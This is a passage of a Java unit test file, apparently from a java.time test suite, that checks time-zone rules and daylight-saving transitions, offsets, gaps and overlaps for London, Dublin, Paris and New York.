0)); assertEquals(autumn1916.getOffsetBefore(), OFFSET_PONE); assertEquals(autumn1916.getOffsetAfter(), OFFSET_ZERO); ZoneOffsetTransition zot = null; Iterator<ZoneOffsetTransition> it = trans.iterator(); while (it.hasNext()) { zot = it.next(); if (zot.getDateTimeBefore().getYear() == 1990) { break; } } assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1990, 3, 25, 1, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_ZERO); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1990, 10, 28, 2, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_PONE); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1991, 3, 31, 1, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_ZERO); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1991, 10, 27, 2, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_PONE); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1992, 3, 29, 1, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_ZERO); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1992, 10, 25, 2, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_PONE); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1993, 3, 28, 1, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_ZERO); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1993, 10, 24, 2, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_PONE); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1994, 3, 27, 1, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_ZERO); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1994, 10, 23, 2, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_PONE); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1995, 3, 26, 1, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_ZERO); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1995, 10, 22, 2, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_PONE); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1996, 3, 31, 1, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_ZERO); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1996, 10, 27, 2, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_PONE); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1997, 3, 30, 1, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_ZERO); zot = it.next(); assertEquals(zot.getDateTimeBefore(), LocalDateTime.of(1997, 10, 26, 2, 0)); assertEquals(zot.getOffsetBefore(), OFFSET_PONE); assertEquals(it.hasNext(), false); } public void test_London_getTransitionRules() { ZoneRules test = europeLondon(); List<ZoneOffsetTransitionRule> rules = test.getTransitionRules(); assertEquals(rules.size(), 2); ZoneOffsetTransitionRule in = rules.get(0); assertEquals(in.getMonth(), Month.MARCH); assertEquals(in.getDayOfMonthIndicator(), 25); // optimized from -1 assertEquals(in.getDayOfWeek(), DayOfWeek.SUNDAY); assertEquals(in.getLocalTime(), LocalTime.of(1, 0)); assertEquals(in.getTimeDefinition(), TimeDefinition.UTC); assertEquals(in.getStandardOffset(), OFFSET_ZERO); assertEquals(in.getOffsetBefore(), OFFSET_ZERO); assertEquals(in.getOffsetAfter(), OFFSET_PONE); ZoneOffsetTransitionRule out = rules.get(1); assertEquals(out.getMonth(), Month.OCTOBER); assertEquals(out.getDayOfMonthIndicator(), 25); // optimized from -1 assertEquals(out.getDayOfWeek(), DayOfWeek.SUNDAY); assertEquals(out.getLocalTime(), LocalTime.of(1, 0)); assertEquals(out.getTimeDefinition(), TimeDefinition.UTC); assertEquals(out.getStandardOffset(), OFFSET_ZERO); assertEquals(out.getOffsetBefore(), OFFSET_PONE); assertEquals(out.getOffsetAfter(), OFFSET_ZERO); } public void test_London_nextTransition_historic() { ZoneRules test = europeLondon(); List<ZoneOffsetTransition> trans = test.getTransitions(); ZoneOffsetTransition first = trans.get(0); assertEquals(test.nextTransition(first.getInstant().minusNanos(1)), first); for (int i = 0; i < trans.size() - 1; i++) { ZoneOffsetTransition cur = trans.get(i); ZoneOffsetTransition next = trans.get(i + 1); assertEquals(test.nextTransition(cur.getInstant()), next); assertEquals(test.nextTransition(next.getInstant().minusNanos(1)), next); } } public void test_London_nextTransition_rulesBased() { ZoneRules test = europeLondon(); List<ZoneOffsetTransitionRule> rules = test.getTransitionRules(); List<ZoneOffsetTransition> trans = test.getTransitions(); ZoneOffsetTransition last = trans.get(trans.size() - 1); assertEquals(test.nextTransition(last.getInstant()), rules.get(0).createTransition(1998)); for (int year = 1998; year < 2010; year++) { ZoneOffsetTransition a = rules.get(0).createTransition(year); ZoneOffsetTransition b = rules.get(1).createTransition(year); ZoneOffsetTransition c = rules.get(0).createTransition(year + 1); assertEquals(test.nextTransition(a.getInstant()), b); assertEquals(test.nextTransition(b.getInstant().minusNanos(1)), b); assertEquals(test.nextTransition(b.getInstant()), c); assertEquals(test.nextTransition(c.getInstant().minusNanos(1)), c); } } public void test_London_nextTransition_lastYear() { ZoneRules test = europeLondon(); List<ZoneOffsetTransitionRule> rules = test.getTransitionRules(); ZoneOffsetTransition zot = rules.get(1).createTransition(Year.MAX_VALUE); assertEquals(test.nextTransition(zot.getInstant()), null); } public void test_London_previousTransition_historic() { ZoneRules test = europeLondon(); List<ZoneOffsetTransition> trans = test.getTransitions(); ZoneOffsetTransition first = trans.get(0); assertEquals(test.previousTransition(first.getInstant()), null); assertEquals(test.previousTransition(first.getInstant().minusNanos(1)), null); for (int i = 0; i < trans.size() - 1; i++) { ZoneOffsetTransition prev = trans.get(i); ZoneOffsetTransition cur = trans.get(i + 1); assertEquals(test.previousTransition(cur.getInstant()), prev); assertEquals(test.previousTransition(prev.getInstant().plusSeconds(1)), prev); assertEquals(test.previousTransition(prev.getInstant().plusNanos(1)), prev); } } public void test_London_previousTransition_rulesBased() { ZoneRules test = europeLondon(); List<ZoneOffsetTransitionRule> rules = test.getTransitionRules(); List<ZoneOffsetTransition> trans = test.getTransitions(); ZoneOffsetTransition last = trans.get(trans.size() - 1); assertEquals(test.previousTransition(last.getInstant().plusSeconds(1)), last); assertEquals(test.previousTransition(last.getInstant().plusNanos(1)), last); // Jan 1st of year between transitions and rules ZonedDateTime odt = ZonedDateTime.ofInstant(last.getInstant(), last.getOffsetAfter()); odt = odt.withDayOfYear(1).plusYears(1).with(LocalTime.MIDNIGHT); assertEquals(test.previousTransition(odt.toInstant()), last); // later years for (int year = 1998; year < 2010; year++) { ZoneOffsetTransition a = rules.get(0).createTransition(year); ZoneOffsetTransition b = rules.get(1).createTransition(year); ZoneOffsetTransition c = rules.get(0).createTransition(year + 1); assertEquals(test.previousTransition(c.getInstant()), b); assertEquals(test.previousTransition(b.getInstant().plusSeconds(1)), b); assertEquals(test.previousTransition(b.getInstant().plusNanos(1)), b); assertEquals(test.previousTransition(b.getInstant()), a); assertEquals(test.previousTransition(a.getInstant().plusSeconds(1)), a); assertEquals(test.previousTransition(a.getInstant().plusNanos(1)), a); } } // Europe/Dublin private ZoneRules europeDublin() { return ZoneId.of("Europe/Dublin").getRules(); } public void test_Dublin() { ZoneRules test = europeDublin(); assertEquals(test.isFixedOffset(), false); } public void test_Dublin_getOffset() { ZoneRules test = europeDublin(); assertEquals(test.getOffset(createInstant(2008, 1, 1, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 2, 1, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 1, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 4, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 5, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 6, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 7, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 8, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 9, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 11, 1, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 12, 1, ZoneOffset.UTC)), OFFSET_ZERO); } public void test_Dublin_getOffset_toDST() { ZoneRules test = europeDublin(); assertEquals(test.getOffset(createInstant(2008, 3, 24, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 25, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 26, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 27, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 28, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 29, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 30, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 31, ZoneOffset.UTC)), OFFSET_PONE); // cutover at 01:00Z assertEquals(test.getOffset(createInstant(2008, 3, 30, 0, 59, 59, 999999999, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 30, 1, 0, 0, 0, ZoneOffset.UTC)), OFFSET_PONE); } public void test_Dublin_getOffset_fromDST() { ZoneRules test = europeDublin(); assertEquals(test.getOffset(createInstant(2008, 10, 24, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 25, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 26, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 27, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 10, 28, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 10, 29, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 10, 30, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 10, 31, ZoneOffset.UTC)), OFFSET_ZERO); // cutover at 01:00Z assertEquals(test.getOffset(createInstant(2008, 10, 26, 0, 59, 59, 999999999, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 26, 1, 0, 0, 0, ZoneOffset.UTC)), OFFSET_ZERO); } public void test_Dublin_getOffsetInfo() { ZoneRules test = europeDublin(); checkOffset(test, createLDT(2008, 1, 1), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 2, 1), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 1), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 4, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 5, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 6, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 7, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 8, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 9, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 11, 1), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 12, 1), OFFSET_ZERO, 1); } public void test_Dublin_getOffsetInfo_toDST() { ZoneRules test = europeDublin(); checkOffset(test, createLDT(2008, 3, 24), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 25), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 26), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 27), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 28), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 29), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 30), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 31), OFFSET_PONE, 1); // cutover at 01:00Z checkOffset(test, LocalDateTime.of(2008, 3, 30, 0, 59, 59, 999999999), OFFSET_ZERO, 1); checkOffset(test, LocalDateTime.of(2008, 3, 30, 2, 0, 0, 0), OFFSET_PONE, 1); } public void test_Dublin_getOffsetInfo_fromDST() { ZoneRules test = europeDublin(); checkOffset(test, createLDT(2008, 10, 24), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 25), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 26), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 27), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 10, 28), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 10, 29), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 10, 30), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 10, 31), OFFSET_ZERO, 1); // cutover at 01:00Z checkOffset(test, LocalDateTime.of(2008, 10, 26, 0, 59, 59, 999999999), OFFSET_PONE, 1); checkOffset(test, LocalDateTime.of(2008, 10, 26, 2, 0, 0, 0), OFFSET_ZERO, 1); } public void test_Dublin_getOffsetInfo_gap() { ZoneRules test = europeDublin(); final LocalDateTime dateTime = LocalDateTime.of(2008, 3, 30, 1, 0, 0, 0); ZoneOffsetTransition trans = checkOffset(test, dateTime, OFFSET_ZERO, GAP); assertEquals(trans.isGap(), true); assertEquals(trans.isOverlap(), false); assertEquals(trans.getOffsetBefore(), OFFSET_ZERO); assertEquals(trans.getOffsetAfter(), OFFSET_PONE); assertEquals(trans.getInstant(), createInstant(2008, 3, 30, 1, 0, ZoneOffset.UTC)); assertEquals(trans.getDateTimeBefore(), LocalDateTime.of(2008, 3, 30, 1, 0)); assertEquals(trans.getDateTimeAfter(), LocalDateTime.of(2008, 3, 30, 2, 0)); assertEquals(trans.isValidOffset(OFFSET_ZERO), false); assertEquals(trans.isValidOffset(OFFSET_PONE), false); assertEquals(trans.isValidOffset(OFFSET_PTWO), false); assertEquals(trans.toString(), "Transition[Gap at 2008-03-30T01:00Z to +01:00]"); } public void test_Dublin_getOffsetInfo_overlap() { ZoneRules test = europeDublin(); final LocalDateTime dateTime = LocalDateTime.of(2008, 10, 26, 1, 0, 0, 0); ZoneOffsetTransition trans = checkOffset(test, dateTime, OFFSET_PONE, OVERLAP); assertEquals(trans.isGap(), false); assertEquals(trans.isOverlap(), true); assertEquals(trans.getOffsetBefore(), OFFSET_PONE); assertEquals(trans.getOffsetAfter(), OFFSET_ZERO); assertEquals(trans.getInstant(), createInstant(2008, 10, 26, 1, 0, ZoneOffset.UTC)); assertEquals(trans.getDateTimeBefore(), LocalDateTime.of(2008, 10, 26, 2, 0)); assertEquals(trans.getDateTimeAfter(), LocalDateTime.of(2008, 10, 26, 1, 0)); assertEquals(trans.isValidOffset(ZoneOffset.ofHours(-1)), false); assertEquals(trans.isValidOffset(OFFSET_ZERO), true); assertEquals(trans.isValidOffset(OFFSET_PONE), true); assertEquals(trans.isValidOffset(OFFSET_PTWO), false); assertEquals(trans.toString(), "Transition[Overlap at 2008-10-26T02:00+01:00 to Z]"); } public void test_Dublin_getStandardOffset() { ZoneRules test = europeDublin(); ZonedDateTime zdt = createZDT(1840, 1, 1, ZoneOffset.UTC); while (zdt.getYear() < 2010) { Instant instant = zdt.toInstant(); if (zdt.getYear() < 1881) { assertEquals(test.getStandardOffset(instant), ZoneOffset.ofHoursMinutes(0, -25)); } else if (zdt.getYear() >= 1881 && zdt.getYear() < 1917) { assertEquals(test.getStandardOffset(instant), ZoneOffset.ofHoursMinutesSeconds(0, -25, -21)); } else if (zdt.getYear() >= 1917 && zdt.getYear() < 1969) { assertEquals(test.getStandardOffset(instant), OFFSET_ZERO, zdt.toString()); } else if (zdt.getYear() >= 1969 && zdt.getYear() < 1972) { // from 1968-02-18 to 1971-10-31, permanent UTC+1 assertEquals(test.getStandardOffset(instant), OFFSET_PONE); assertEquals(test.getOffset(instant), OFFSET_PONE, zdt.toString()); } else { assertEquals(test.getStandardOffset(instant), OFFSET_ZERO, zdt.toString()); assertEquals(test.getOffset(instant), zdt.getMonth() == Month.JANUARY ? OFFSET_ZERO : OFFSET_PONE, zdt.toString()); } zdt = zdt.plusMonths(6); } } public void test_Dublin_dst() { ZoneRules test = europeDublin(); assertEquals(test.isDaylightSavings(createZDT(1960, 1, 1, ZoneOffset.UTC).toInstant()), false); assertEquals(test.getDaylightSavings(createZDT(1960, 1, 1, ZoneOffset.UTC).toInstant()), Duration.ofHours(0)); assertEquals(test.isDaylightSavings(createZDT(1960, 7, 1, ZoneOffset.UTC).toInstant()), true); assertEquals(test.getDaylightSavings(createZDT(1960, 7, 1, ZoneOffset.UTC).toInstant()), Duration.ofHours(1)); // check negative DST is correctly handled assertEquals(test.isDaylightSavings(createZDT(2016, 1, 1, ZoneOffset.UTC).toInstant()), false); assertEquals(test.getDaylightSavings(createZDT(2016, 1, 1, ZoneOffset.UTC).toInstant()), Duration.ofHours(0)); assertEquals(test.isDaylightSavings(createZDT(2016, 7, 1, ZoneOffset.UTC).toInstant()), true); assertEquals(test.getDaylightSavings(createZDT(2016, 7, 1, ZoneOffset.UTC).toInstant()), Duration.ofHours(1)); // TZDB data is messed up, comment out tests until better fix available DateTimeFormatter formatter1 = new DateTimeFormatterBuilder().appendZoneText(TextStyle.FULL).toFormatter(); assertEquals(formatter1.format(createZDT(2016, 1, 1, ZoneId.of("Europe/Dublin"))), "Greenwich Mean Time"); assertEquals(formatter1.format(createZDT(2016, 7, 1, ZoneId.of("Europe/Dublin"))).startsWith("Irish S"), true); DateTimeFormatter formatter2 = new DateTimeFormatterBuilder().appendZoneText(TextStyle.SHORT).toFormatter(); assertEquals(formatter2.format(createZDT(2016, 1, 1, ZoneId.of("Europe/Dublin"))), "GMT"); assertEquals(formatter2.format(createZDT(2016, 7, 1, ZoneId.of("Europe/Dublin"))), "IST"); } // Europe/Paris private ZoneRules europeParis() { return ZoneId.of("Europe/Paris").getRules(); } public void test_Paris() { ZoneRules test = europeParis(); assertEquals(test.isFixedOffset(), false); } public void test_Paris_preTimeZones() { ZoneRules test = europeParis(); ZonedDateTime old = createZDT(1800, 1, 1, ZoneOffset.UTC); Instant instant = old.toInstant(); ZoneOffset offset = ZoneOffset.ofHoursMinutesSeconds(0, 9, 21); assertEquals(test.getOffset(instant), offset); checkOffset(test, old.toLocalDateTime(), offset, 1); assertEquals(test.getStandardOffset(instant), offset); assertEquals(test.getDaylightSavings(instant), Duration.ZERO); assertEquals(test.isDaylightSavings(instant), false); } public void test_Paris_getOffset() { ZoneRules test = europeParis(); assertEquals(test.getOffset(createInstant(2008, 1, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 2, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 3, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 4, 1, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 5, 1, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 6, 1, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 7, 1, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 8, 1, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 9, 1, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 10, 1, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 11, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 12, 1, ZoneOffset.UTC)), OFFSET_PONE); } public void test_Paris_getOffset_toDST() { ZoneRules test = europeParis(); assertEquals(test.getOffset(createInstant(2008, 3, 24, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 3, 25, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 3, 26, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 3, 27, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 3, 28, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 3, 29, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 3, 30, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 3, 31, ZoneOffset.UTC)), OFFSET_PTWO); // cutover at 01:00Z assertEquals(test.getOffset(createInstant(2008, 3, 30, 0, 59, 59, 999999999, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 3, 30, 1, 0, 0, 0, ZoneOffset.UTC)), OFFSET_PTWO); } public void test_Paris_getOffset_fromDST() { ZoneRules test = europeParis(); assertEquals(test.getOffset(createInstant(2008, 10, 24, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 10, 25, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 10, 26, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 10, 27, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 28, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 29, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 30, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 31, ZoneOffset.UTC)), OFFSET_PONE); // cutover at 01:00Z assertEquals(test.getOffset(createInstant(2008, 10, 26, 0, 59, 59, 999999999, ZoneOffset.UTC)), OFFSET_PTWO); assertEquals(test.getOffset(createInstant(2008, 10, 26, 1, 0, 0, 0, ZoneOffset.UTC)), OFFSET_PONE); } public void test_Paris_getOffsetInfo() { ZoneRules test = europeParis(); checkOffset(test, createLDT(2008, 1, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 2, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 3, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 4, 1), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 5, 1), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 6, 1), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 7, 1), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 8, 1), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 9, 1), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 10, 1), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 11, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 12, 1), OFFSET_PONE, 1); } public void test_Paris_getOffsetInfo_toDST() { ZoneRules test = europeParis(); checkOffset(test, createLDT(2008, 3, 24), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 3, 25), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 3, 26), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 3, 27), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 3, 28), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 3, 29), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 3, 30), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 3, 31), OFFSET_PTWO, 1); // cutover at 01:00Z which is 02:00+01:00(local Paris time) checkOffset(test, LocalDateTime.of(2008, 3, 30, 1, 59, 59, 999999999), OFFSET_PONE, 1); checkOffset(test, LocalDateTime.of(2008, 3, 30, 3, 0, 0, 0), OFFSET_PTWO, 1); } public void test_Paris_getOffsetInfo_fromDST() { ZoneRules test = europeParis(); checkOffset(test, createLDT(2008, 10, 24), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 10, 25), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 10, 26), OFFSET_PTWO, 1); checkOffset(test, createLDT(2008, 10, 27), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 28), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 29), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 30), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 31), OFFSET_PONE, 1); // cutover at 01:00Z which is 02:00+01:00(local Paris time) checkOffset(test, LocalDateTime.of(2008, 10, 26, 1, 59, 59, 999999999), OFFSET_PTWO, 1); checkOffset(test, LocalDateTime.of(2008, 10, 26, 3, 0, 0, 0), OFFSET_PONE, 1); } public void test_Paris_getOffsetInfo_gap() { ZoneRules test = europeParis(); final LocalDateTime dateTime = LocalDateTime.of(2008, 3, 30, 2, 0, 0, 0); ZoneOffsetTransition trans = checkOffset(test, dateTime, OFFSET_PONE, GAP); assertEquals(trans.isGap(), true); assertEquals(trans.isOverlap(), false); assertEquals(trans.getOffsetBefore(), OFFSET_PONE); assertEquals(trans.getOffsetAfter(), OFFSET_PTWO); assertEquals(trans.getInstant(), createInstant(2008, 3, 30, 1, 0, ZoneOffset.UTC)); assertEquals(trans.isValidOffset(OFFSET_ZERO), false); assertEquals(trans.isValidOffset(OFFSET_PONE), false); assertEquals(trans.isValidOffset(OFFSET_PTWO), false); assertEquals(trans.toString(), "Transition[Gap at 2008-03-30T02:00+01:00 to +02:00]"); assertFalse(trans.equals(null)); assertFalse(trans.equals(OFFSET_PONE)); assertTrue(trans.equals(trans)); final ZoneOffsetTransition otherTrans = test.getTransition(dateTime); assertTrue(trans.equals(otherTrans)); assertEquals(trans.hashCode(), otherTrans.hashCode()); } public void test_Paris_getOffsetInfo_overlap() { ZoneRules test = europeParis(); final LocalDateTime dateTime = LocalDateTime.of(2008, 10, 26, 2, 0, 0, 0); ZoneOffsetTransition trans = checkOffset(test, dateTime, OFFSET_PTWO, OVERLAP); assertEquals(trans.isGap(), false); assertEquals(trans.isOverlap(), true); assertEquals(trans.getOffsetBefore(), OFFSET_PTWO); assertEquals(trans.getOffsetAfter(), OFFSET_PONE); assertEquals(trans.getInstant(), createInstant(2008, 10, 26, 1, 0, ZoneOffset.UTC)); assertEquals(trans.isValidOffset(OFFSET_ZERO), false); assertEquals(trans.isValidOffset(OFFSET_PONE), true); assertEquals(trans.isValidOffset(OFFSET_PTWO), true); assertEquals(trans.isValidOffset(ZoneOffset.ofHours(3)), false); assertEquals(trans.toString(), "Transition[Overlap at 2008-10-26T03:00+02:00 to +01:00]"); assertFalse(trans.equals(null)); assertFalse(trans.equals(OFFSET_PTWO)); assertTrue(trans.equals(trans)); final ZoneOffsetTransition otherTrans = test.getTransition(dateTime); assertTrue(trans.equals(otherTrans)); assertEquals(trans.hashCode(), otherTrans.hashCode()); } public void test_Paris_getStandardOffset() { ZoneRules test = europeParis(); ZonedDateTime zdt = createZDT(1840, 1, 1, ZoneOffset.UTC); while (zdt.getYear() < 2010) { Instant instant = zdt.toInstant(); if (zdt.toLocalDate().isBefore(LocalDate.of(1911, 3, 11))) { assertEquals(test.getStandardOffset(instant), ZoneOffset.ofHoursMinutesSeconds(0, 9, 21)); } else if (zdt.toLocalDate().isBefore(LocalDate.of(1940, 6, 14))) { assertEquals(test.getStandardOffset(instant), OFFSET_ZERO); } else if (zdt.toLocalDate().isBefore(LocalDate.of(1944, 8, 25))) { assertEquals(test.getStandardOffset(instant), OFFSET_PONE); } else if (zdt.toLocalDate().isBefore(LocalDate.of(1945, 9, 16))) { assertEquals(test.getStandardOffset(instant), OFFSET_ZERO); } else { assertEquals(test.getStandardOffset(instant), OFFSET_PONE); } zdt = zdt.plusMonths(6); } } // America/New_York private ZoneRules americaNewYork() { return ZoneId.of("America/New_York").getRules(); } public void test_NewYork() { ZoneRules test = americaNewYork(); assertEquals(test.isFixedOffset(), false); } public void test_NewYork_preTimeZones() { ZoneRules test = americaNewYork(); ZonedDateTime old = createZDT(1800, 1, 1, ZoneOffset.UTC); Instant instant = old.toInstant(); ZoneOffset offset = ZoneOffset.of("-04:56:02"); assertEquals(test.getOffset(instant), offset); checkOffset(test, old.toLocalDateTime(), offset, 1); assertEquals(test.getStandardOffset(instant), offset); assertEquals(test.getDaylightSavings(instant), Duration.ZERO); assertEquals(test.isDaylightSavings(instant), false); } public void test_NewYork_getOffset() { ZoneRules test = americaNewYork(); ZoneOffset offset = ZoneOffset.ofHours(-5); assertEquals(test.getOffset(createInstant(2008, 1, 1, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 2, 1, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 3, 1, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 4, 1, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 5, 1, offset)), 